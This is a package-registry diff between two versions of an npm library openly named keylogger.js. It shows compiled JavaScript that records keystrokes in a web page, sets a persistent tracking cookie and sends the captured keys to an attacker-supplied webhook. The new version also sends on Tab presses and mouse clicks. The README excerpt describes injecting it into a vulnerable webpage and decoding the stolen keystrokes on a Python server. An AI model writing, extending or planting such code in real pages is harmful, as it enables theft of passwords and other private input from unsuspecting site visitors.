@mihnea.dev/keylogger.js 1.0.0-keywords → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -83,7 +83,7 @@ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part
83
83
  1. The Keylogger.js library captures keystrokes and sends them to the webhook.
84
84
  2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
85
85
  ```bash
86
- Decoded Payload: {"type":"keypress","value":"a","session":{...}}
86
+ Decoded Payload: {"type":"enter","value":"a","session":{...}}
87
87
  Parsed JSON:
88
88
  {
89
89
  "type": "enter",
package/dist/index.cjs CHANGED
@@ -42,7 +42,7 @@ var Keylogger = class {
42
42
  this.webhook = webhook;
43
43
  const masterSession = this.getOrCreateMasterSession();
44
44
  this.initializeSession(masterSession);
45
- logAll ? this.logAll() : this.logOnEnter();
45
+ logAll ? this.logAll() : this.logOnEvent();
46
46
  }
47
47
  /**
48
48
  * Retrieves or creates a persistent "master-kw-cookie" cookie.
@@ -117,10 +117,12 @@ var Keylogger = class {
117
117
  }
118
118
  /**
119
119
  * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
120
+ *
121
+ * TODO: Also logs on "mouse click" & Tab click.
120
122
  */
121
- logOnEnter() {
123
+ logOnEvent() {
122
124
  document.addEventListener("keydown", (event) => {
123
- if (event.key === "Enter") {
125
+ if (event.key === "Enter" || event.key === "Tab") {
124
126
  const value = this.keys.join("");
125
127
  this.keys = [];
126
128
  this.sendToWebhook({
@@ -131,6 +133,16 @@ var Keylogger = class {
131
133
  this.keys.push(event.key);
132
134
  }
133
135
  });
136
+ document.addEventListener("click", () => {
137
+ const value = this.keys.join("");
138
+ if (value) {
139
+ this.keys = [];
140
+ this.sendToWebhook({
141
+ type: "click",
142
+ value
143
+ });
144
+ }
145
+ });
134
146
  }
135
147
  };
136
148
 
package/dist/index.d.cts CHANGED
@@ -13,7 +13,7 @@ interface ISession {
13
13
  }
14
14
  interface IPayload {
15
15
  /** Type of event captured. */
16
- type: "keypress" | "enter";
16
+ type: "keypress" | "enter" | "click";
17
17
  /** Value of the captured event. */
18
18
  value: string;
19
19
  }
@@ -64,8 +64,10 @@ declare class Keylogger {
64
64
  protected logAll(): void;
65
65
  /**
66
66
  * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
67
+ *
68
+ * TODO: Also logs on "mouse click" & Tab click.
67
69
  */
68
- protected logOnEnter(): void;
70
+ protected logOnEvent(): void;
69
71
  }
70
72
 
71
73
  export { type IPayload, type ISession, Keylogger as default };
package/dist/index.d.ts CHANGED
@@ -13,7 +13,7 @@ interface ISession {
13
13
  }
14
14
  interface IPayload {
15
15
  /** Type of event captured. */
16
- type: "keypress" | "enter";
16
+ type: "keypress" | "enter" | "click";
17
17
  /** Value of the captured event. */
18
18
  value: string;
19
19
  }
@@ -64,8 +64,10 @@ declare class Keylogger {
64
64
  protected logAll(): void;
65
65
  /**
66
66
  * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
67
+ *
68
+ * TODO: Also logs on "mouse click" & Tab click.
67
69
  */
68
- protected logOnEnter(): void;
70
+ protected logOnEvent(): void;
69
71
  }
70
72
 
71
73
  export { type IPayload, type ISession, Keylogger as default };
package/dist/index.js CHANGED
@@ -16,7 +16,7 @@ var Keylogger = class {
16
16
  this.webhook = webhook;
17
17
  const masterSession = this.getOrCreateMasterSession();
18
18
  this.initializeSession(masterSession);
19
- logAll ? this.logAll() : this.logOnEnter();
19
+ logAll ? this.logAll() : this.logOnEvent();
20
20
  }
21
21
  /**
22
22
  * Retrieves or creates a persistent "master-kw-cookie" cookie.
@@ -91,10 +91,12 @@ var Keylogger = class {
91
91
  }
92
92
  /**
93
93
  * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
94
+ *
95
+ * TODO: Also logs on "mouse click" & Tab click.
94
96
  */
95
- logOnEnter() {
97
+ logOnEvent() {
96
98
  document.addEventListener("keydown", (event) => {
97
- if (event.key === "Enter") {
99
+ if (event.key === "Enter" || event.key === "Tab") {
98
100
  const value = this.keys.join("");
99
101
  this.keys = [];
100
102
  this.sendToWebhook({
@@ -105,6 +107,16 @@ var Keylogger = class {
105
107
  this.keys.push(event.key);
106
108
  }
107
109
  });
110
+ document.addEventListener("click", () => {
111
+ const value = this.keys.join("");
112
+ if (value) {
113
+ this.keys = [];
114
+ this.sendToWebhook({
115
+ type: "click",
116
+ value
117
+ });
118
+ }
119
+ });
108
120
  }
109
121
  };
110
122
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@mihnea.dev/keylogger.js",
3
- "version": "1.0.0-keywords",
3
+ "version": "1.0.1",
4
4
  "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
5
5
  "repository": {
6
6
  "type": "git",